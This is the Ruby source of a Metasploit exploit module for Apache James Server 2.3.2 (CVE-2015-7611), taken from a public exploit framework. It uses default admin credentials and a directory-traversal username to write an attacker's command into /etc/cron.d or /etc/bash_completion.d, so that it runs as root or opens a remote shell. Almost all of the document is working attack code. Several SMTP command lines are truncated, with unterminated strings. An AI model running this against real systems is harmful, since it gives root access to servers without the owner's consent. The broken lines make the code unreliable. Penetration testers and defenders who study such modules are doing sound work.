# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Apache James Server 2.3.2 Insecure User Creation
Arbitrary File Write",
'Description' => %q{
This module exploits a vulnerability that exists due to a lack of
input
validation when creating a user. Messages for a given user are
stored
in a directory partially defined by the username. By creating a
user
with a directory traversal payload as the username, commands can
be
written to a given directory. To use this module with the cron
exploitation method, run the exploit using the given payload, host,
and
port. After running the exploit, the payload will be executed
within 60
seconds. Due to differences in how cron may run in certain
Linux
operating systems such as Ubuntu, it may be preferable to set
the
target to Bash Completion as the cron method may not work. If the
target
is set to Bash completion, start a listener using the given
payload,
host, and port before running the exploit. After running the
exploit,
the payload will be executed when a user logs into the system. For
this
exploitation method, bash completion must be enabled to gain
code
execution. This exploitation method will leave an Apache James
mail
object artifact in the /etc/bash_completion.d directory and the
malicious user account.
},
'License' => MSF_LICENSE,
'Author' => [
'Palaczynski Jakub', # Discovery
'Matthew Aberegg', # Metasploit
'Michael Burkey' # Metasploit
],
'References' =>
[
[ 'CVE', '2015-7611' ],
[ 'EDB', '35513' ],
[ 'URL',
'https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf'
]
],
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[ 'Bash Completion', {
'ExploitPath' => 'bash_completion.d',
'ExploitPrepend' => '',
'DefaultOptions' => { 'DisablePayloadHandler' => true,
'WfsDelay' => 0 }
} ],
[ 'Cron', {
'ExploitPath' => 'cron.d',
'ExploitPrepend' => '* * * * * root ',
'DefaultOptions' => { 'DisablePayloadHandler' => false,
'WfsDelay' => 90 }
} ]
],
'Privileged' => true,
'DisclosureDate' => "Oct 1 2015",
'DefaultTarget' => 1,
'CmdStagerFlavor'=> [ 'bourne', 'echo', 'printf', 'wget', 'curl'
]
))
register_options(
[
OptString.new('USERNAME', [ true, 'Root username for James remote
administration tool', 'root' ]),
OptString.new('PASSWORD', [ true, 'Root password for James remote
administration tool', 'root' ]),
OptString.new('ADMINPORT', [ true, 'Port for James remote
administration tool', '4555' ]),
OptString.new('POP3PORT', [false, 'Port for POP3 Apache James
Service', '110' ]),
Opt::RPORT(25)
])
import_target_defaults
end
def check
# SMTP service check
connect
smtp_banner = sock.get_once
disconnect
unless smtp_banner.to_s.include? "JAMES SMTP Server"
return CheckCode::Safe("Target port #{rport} is not a JAMES SMTP
server")
end
# James Remote Administration Tool service check
connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' =>
datastore['ADMINPORT']})
admin_banner = sock.get_once
disconnect
unless admin_banner.to_s.include? "JAMES Remote Administration
Tool"
return CheckCode::Safe("Target is not JAMES Remote Administration
Tool")
end
# Get version number
version = admin_banner.scan(/JAMES Remote Administration Tool
([\d\.]+)/).flatten.first
# Null check
unless version
return CheckCode::Detected("Could not determine JAMES Remote
Administration Tool version")
end
# Create version objects
target_version = Gem::Version.new(version)
vulnerable_version = Gem::Version.new("2.3.2")
# Check version number
if target_version > vulnerable_version
return CheckCode::Safe
elsif target_version == vulnerable_version
return CheckCode::Appears
elsif target_version < vulnerable_version
return CheckCode::Detected("Version #{version} of JAMES Remote
Administration Tool may be vulnerable")
end
end
def execute_james_admin_tool_command(cmd)
username = datastore['USERNAME']
password = datastore['PASSWORD']
connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' =>
datastore['ADMINPORT']})
sock.get_once
sock.puts(username + "\n")
sock.get_once
sock.puts(password + "\n")
sock.get_once
sock.puts(cmd)
sock.get_once
sock.puts("quit\n")
disconnect
end
def cleanup
return unless target['ExploitPath'] == "cron.d"
# Delete mail objects containing payload from cron.d
username = "../../../../../../../../etc/cron.d"
password = @account_password
begin
connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' =>
datastore['POP3PORT']})
sock.get_once
sock.puts("USER #{username}\r\n")
sock.get_once
sock.puts("PASS #{password}\r\n")
sock.get_once
sock.puts("dele 1\r\n")
sock.get_once
sock.puts("quit\r\n")
disconnect
rescue
print_bad("Failed to remove payload message for user
'../../../../../../../../etc/cron.d' with password
'#{@account_password}'")
end
# Delete malicious user
delete_user_command = "deluser
../../../../../../../../etc/cron.d\n"
execute_james_admin_tool_command(delete_user_command)
end
def execute_command(cmd, opts = {})
# Create malicious user with randomized password (message objects
for this user will now be stored in /etc/bash_completion.d or
/etc/cron.d)
exploit_path = target['ExploitPath']
@account_password = Rex::Text.rand_text_alpha(8..12)
add_user_command = "adduser
../../../../../../../../etc/#{exploit_path}
#{@account_password}\n"
execute_james_admin_tool_command(add_user_command)
# Send payload via SMTP
payload_prepend = target['ExploitPrepend']
connect
sock.puts("ehlo
sock.get_once
sock.puts("mail from: <
sock.get_once
sock.puts("rcpt to:
<../../../../../../../../etc/#{exploit_path}>\r\n")
sock.get_once
sock.puts("data\r\n")
sock.get_once
sock.puts("From:
sock.puts("\r\n")
sock.puts("'\n")
sock.puts("#{payload_prepend}#{cmd}\n")
sock.puts("\r\n.\r\n")
sock.get_once
sock.puts("quit\r\n")
sock.get_once
disconnect
end
def execute_cmdstager_end(opts)
if target['ExploitPath'] == "cron.d"
print_status("Waiting for cron to execute payload...")
else
print_status("Payload will be triggered when someone logs onto the
target")
print_warning("You need to start your handler: 'handler -H
#{datastore['LHOST']} -P #{datastore['LPORT']} -p
#{datastore['PAYLOAD']}'")
print_warning("After payload is triggered, delete the message and
account of user '../../../../../../../../etc/bash_completion.d'
with password '#{@account_password}' to fully clean up exploit
artifacts.")
end
end
def exploit
execute_cmdstager(background: true)
end
end

